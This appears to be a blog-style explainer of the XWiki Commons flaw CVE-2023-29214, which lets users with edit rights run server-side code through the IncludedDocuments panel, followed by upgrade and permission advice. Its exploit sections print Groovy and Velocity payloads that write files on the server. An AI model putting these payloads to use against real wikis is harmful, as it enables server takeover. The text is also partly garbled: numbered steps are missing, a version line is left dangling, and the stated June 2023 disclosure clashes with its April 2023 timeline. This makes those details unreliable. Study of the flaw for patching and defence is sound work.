In June 2023, a critical security flaw—CVE-2023-29214—was revealed in XWiki Commons, a core set of libraries used across many XWiki projects. This vulnerability let any user with "edit" rights execute any code they wanted on the XWiki server. That means attackers could potentially take over the whole wiki, read or change files, steal data, and even attack other systems.

Let's break down this bug in simple terms, with understandable steps, example code, how it can be abused, and—most importantly—what you should do if you're running XWiki.

What Is XWiki Commons?

XWiki is a popular open-source wiki platform widely used for documentation, knowledge management, and more. XWiki Commons is a backbone library used by the main XWiki system and related projects.

The Problem: Escaping in the IncludedDocuments Panel

XWiki features a panel called IncludedDocuments. When you view or use it, it often pulls in pages from other parts of the wiki—and renders their content.

The problem:  
Due to improper escaping, any content from these included pages would be rendered “as is,” including script code—Groovy, Python, or Velocity scripts!

That means:  
If a bad actor can edit a document, they can plant malicious code in it, and then, when it’s included—with default configuration—the code runs.

Example Exploit

Suppose you have XWiki running, version 14.4.x or 14.10.x before the patch, and you sign in as a regular user.

1. Find an included document/panel. For example, IncludedDocuments.

Add Groovy code to the page body:

{{groovy}}
def out = new java.io.File("/tmp/owned.txt")
out.text = "XWiki has been pwned!"
{{/groovy}}

4. Configure the IncludedDocuments panel – or wait for an admin to view it – to include MyEvilPage.

Result:

Whenever someone loads the panel (even on the homepage), the Groovy code runs with the wiki's privilege level.  
Check your /tmp/owned.txt on the server: it’s there!

Nutshell Steps for Attack

# Attacker logs in with edit permissions
# Attacker edits/page with arbitrary velocity or groovy code

{{velocity}}
#if ($xwiki)
#set ($file = $xwiki.getClassLoader().loadClass('java.io.File').newInstance('/tmp/hacked.txt'))
#set ($fos = $xwiki.getClassLoader().loadClass('java.io.FileOutputStream').newInstance($file))
#set ($fos.write("Hacked!".getBytes()))
#set ($fos.close())
#end
{{/velocity}}

# Now, if this page is ever included via IncludedDocuments, that code executes!

Technical References

- Official XWiki Security Advisory
- CVE-2023-29214 at NVD
- XWiki Commons Git Changes (patch)

How Did They Fix It?

XWiki maintainers patched the vulnerability by properly escaping/wrapping included pages in the IncludedDocuments panel. This prevents embedded code in an included page from being executed.

XWiki 14.10

If you’re running any version before those, you are unsafe.

1. Upgrade immediately to XWiki 14.4.7, 14.10, or newer.

2. Audit who has "edit" rights on your instance—especially for wikis accessible on the internet.

3. Review included pages/panels.  
If you custom-include documents anywhere, be sure you trust their content.

4. Protect admin and scripting rights.  
Don’t let untrusted users edit pages used in panels, macros, or template documents.

This is one of those “don’t wait” bugs.

If you haven't patched, your entire XWiki could be hijacked.

Restrict “edit" rights and check for exposure in your environment.

- Always keep up-to-date with XWiki security advisories: https://www.xwiki.org/xwiki/bin/view/Security/

Stay safe, and patch your wikis!

*Did this post help? Share it to protect others in your open-source documentation community. For more, check XWiki security updates.*

Timeline

Published on: 04/16/2023 07:15:00 UTC
Last modified on: 04/26/2023 17:15:00 UTC